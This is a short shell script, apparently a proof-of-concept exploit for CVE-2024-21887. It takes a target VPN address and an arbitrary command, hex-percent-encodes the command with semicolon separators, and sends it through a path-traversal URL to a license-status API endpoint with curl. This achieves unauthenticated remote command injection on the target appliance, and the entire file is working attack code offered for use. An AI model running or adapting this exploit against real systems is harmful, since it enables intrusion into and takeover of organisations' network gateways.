CVE-2024-21887.sh

#!/bin/sh

if [ "$#" -ne 2 ]; then
    echo "missing arguments like:"
    echo "./CVE-2024-21887.sh https://my.vpn.ip:443 \"payload_cmd\""
    exit 1
fi

payload=$(echo ";$2;" | xxd -p|tr -d \\n|sed 's/../%&/g')

curl -k -s --path-as-is "$1/api/v1/totp/user-backup-code/../../license/keys-status/$payload"